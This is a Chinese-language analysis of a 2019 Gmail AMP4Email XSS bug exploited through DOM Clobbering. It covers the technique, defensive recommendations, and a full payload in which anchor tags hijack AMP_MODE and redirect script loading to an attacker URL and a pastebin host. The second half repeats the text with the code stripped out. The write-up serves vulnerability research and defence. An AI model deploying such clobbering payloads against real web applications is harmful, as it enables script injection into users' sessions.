Gmail XSS漏洞分析
字数 1053 2025-08-26 22:12:01

Gmail XSS漏洞分析:基于DOM Clobbering的攻击技术

漏洞概述

2019年8月发现的Gmail XSS漏洞利用了AMP4Email功能中的DOM Clobbering技术,允许攻击者在特定条件下执行跨站脚本攻击。该漏洞由研究人员提交给Google,展示了动态邮件功能中潜在的安全风险。

AMP4Email简介

AMP4Email(又称动态邮件)是Gmail的一项功能,允许在邮件中显示动态HTML内容。与传统的静态HTML邮件不同,它支持:

  • 预订事件
  • 填写问卷
  • 浏览目录
  • 回复评论等交互操作

AMP4Email通过严格的验证器确保安全性,维护了允许的标签和属性的白名单,禁止任意JavaScript代码的执行。

DOM Clobbering技术详解

DOM Clobbering是一种利用HTML元素影响JavaScript行为的攻击技术,其核心原理是:

  1. 全局命名空间污染:浏览器允许通过window对象直接访问带有id属性的HTML元素
  2. 属性覆盖:HTML元素可以覆盖JavaScript对象的现有属性

基本示例

<form id="test1">
  <input name="test2">
</form>
<script>
  alert(test1.test2); // 显示"[object HTMLInputElement]"
</script>

关键发现

研究人员发现两个特殊元素在toString()方法上有特殊行为:

  1. HTMLAreaElement (<area>)
  2. HTMLAnchorElement (<a>)

其中<a>元素的toString()返回的是href属性的值:

<a id="test1" href="https://example.com">
<script>
  alert(test1); // 显示"https://example.com"
</script>

漏洞利用链构建

第一步:控制AMP_MODE对象

AMP4Email允许设置id属性,但对某些值如"AMP"有保护,而"AMP_MODE"没有限制:

<a id="AMP_MODE">
<a id="AMP_MODE" name="localDev">
<a id="AMP_MODE" name="test">

第二步:控制URL生成

通过DOM Clobbering控制脚本加载URL:

<a id="testLocation">
<a id="testLocation" name="protocol" href="https://attacker.com#">

完整Payload结构

<!-- 控制AMP_MODE属性 -->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>

<!-- 控制URL生成 -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol" href="https://pastebin.com/raw/0tn8z0rG#">

技术限制与绕过

虽然成功构造了XSS攻击链,但受到Gmail内容安全策略(CSP)的限制:

Content-Security-Policy: default-src 'none'; 
script-src 'sha512-oQwIl...==' 
  https://cdn.ampproject.org/rtv/ 
  https://cdn.ampproject.org/v0.js 
  https://cdn.ampproject.org/v0/

研究人员发现了一种潜在的基于目录的CSP绕过方法,但未在报告中详细说明。

防御建议

  1. 严格限制id属性值:对AMP_MODE等关键变量名进行过滤
  2. 加强验证器检查:不仅检查标签和属性,还要检查可能的DOM Clobbering组合
  3. 使用更安全的属性访问方式:避免直接通过window对象访问DOM元素
  4. 实施深度防御:结合CSP和其他安全头提供多层保护

总结

该漏洞展示了即使有严格验证机制的动态内容功能,也可能因浏览器特性(DOM Clobbering)而存在安全风险。安全开发需要全面考虑各种可能的攻击向量,包括不太常见的攻击技术。

Gmail XSS漏洞分析:基于DOM Clobbering的攻击技术 漏洞概述 2019年8月发现的Gmail XSS漏洞利用了AMP4Email功能中的DOM Clobbering技术,允许攻击者在特定条件下执行跨站脚本攻击。该漏洞由研究人员提交给Google,展示了动态邮件功能中潜在的安全风险。 AMP4Email简介 AMP4Email(又称动态邮件)是Gmail的一项功能,允许在邮件中显示动态HTML内容。与传统的静态HTML邮件不同,它支持: 预订事件 填写问卷 浏览目录 回复评论等交互操作 AMP4Email通过严格的验证器确保安全性,维护了允许的标签和属性的白名单,禁止任意JavaScript代码的执行。 DOM Clobbering技术详解 DOM Clobbering是一种利用HTML元素影响JavaScript行为的攻击技术,其核心原理是: 全局命名空间污染 :浏览器允许通过 window 对象直接访问带有 id 属性的HTML元素 属性覆盖 :HTML元素可以覆盖JavaScript对象的现有属性 基本示例 关键发现 研究人员发现两个特殊元素在 toString() 方法上有特殊行为: HTMLAreaElement ( <area> ) HTMLAnchorElement ( <a> ) 其中 <a> 元素的 toString() 返回的是 href 属性的值: 漏洞利用链构建 第一步:控制AMP_ MODE对象 AMP4Email允许设置 id 属性,但对某些值如"AMP"有保护,而"AMP_ MODE"没有限制: 第二步:控制URL生成 通过DOM Clobbering控制脚本加载URL: 完整Payload结构 技术限制与绕过 虽然成功构造了XSS攻击链,但受到Gmail内容安全策略(CSP)的限制: 研究人员发现了一种潜在的基于目录的CSP绕过方法,但未在报告中详细说明。 防御建议 严格限制id属性值 :对AMP_ MODE等关键变量名进行过滤 加强验证器检查 :不仅检查标签和属性,还要检查可能的DOM Clobbering组合 使用更安全的属性访问方式 :避免直接通过window对象访问DOM元素 实施深度防御 :结合CSP和其他安全头提供多层保护 总结 该漏洞展示了即使有严格验证机制的动态内容功能,也可能因浏览器特性(DOM Clobbering)而存在安全风险。安全开发需要全面考虑各种可能的攻击向量,包括不太常见的攻击技术。